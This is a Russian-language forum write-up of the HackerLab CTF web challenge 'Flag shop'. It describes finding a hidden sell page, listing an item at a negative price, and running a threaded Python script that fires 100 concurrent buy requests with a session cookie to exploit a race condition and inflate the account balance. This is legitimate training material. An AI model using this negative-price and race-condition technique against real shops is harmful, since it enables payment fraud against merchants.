ОБСУЖДЕНИЕ Writeup 

Web | Flag shop | HackerLab

0 ответов 898
Автор темы
hackerlabflagshop.webp

Название: Flag shop
Категория: Web
Уровень: Средний
Ссылка на задание: https://hackerlab.pro/categories/web/77d1b94d-feee-4a16-a261-b17dd043a8e7
Баллы: 500


Reconnaissance​

Мы видим маркетплейс с некоторыми товарами для покупки, создаём аккаунт и авторизируемся. На нашем счету есть $100 и мы можем что-нибудь купить. Для примера я купил Bad USB. $20 улетели - товара нет.
1781220385009.webp

Давайте попробуем просканировать маркетплейс на наличие скрытых директорий.
1781220423798.webp
Оказывается, мы можем сами продавать товары, давайте посмотрим что внутри.
1781220507197-webp.83954

Мы можем выставить свой товар и сразу же получаем на него ссылку с уникальным ID. Так... Пазл начинает складываться, мы можем продать товар, купить товар... это же Race Condition!
Race Condition возникает, когда поведение системы зависит от непредсказуемой последовательности или времени неконтролируемых событий, например, от одновременного доступа нескольких потоков или процессов к общим ресурсам. Оно становится ошибкой, когда результат зависит от того, какой процесс «выиграет гонку», чтобы финишировать первым, что приводит к неожиданным ошибкам или повреждению данных. Проще говоря, это уязвимость, которая возникает, когда программа делает несколько действий почти одновременно, а хакер успевает вклиниться между ними. Из-за большой скорости запросов порядок (сначала А, потом Б) нарушается.


Exploitation​

Скорее всего, мы не можем покупать собственные товары "так оно и есть". Но ничего ведь нам не запрещает создать 2 аккаунт. На первом аккаунте создаём товар с ценником $-99 потому что:
  1. -99, потому что ограничение в 3 символа
  2. минус потому, что если мы продаём товар за отрицательную цену, система при вычитании отрицательного числа может прибавить эту сумму к нашему балансу.
Теперь сохраняем его ID и авторизируемся во 2 аккаунт, берём из него куки и вставляем в этот код:
Python:
import requests as r
import threading as t

def main():
    cust_cookie = {"session": "ВАША_СЕССИЯ_2_АККАУНТА"}

    res = r.post('http://62.173.140.174:16103/buy/ID_ТОВАРА', cookies=cust_cookie)
    print(res.text, res.content)

if __name__=="__main__":
  threads = []
  x = 0
  while x < 100:
    x+=1
    thread = t.Thread(target=main)
    threads.append(thread)
    thread.start()
        #print(res.content)
  for thread in threads:
    thread.join()
И запускаем данную программу раз 5-6 и после этого видим что наш баланс увеличился.
1781221292410.webp

И покупаем заветный секретный девайс!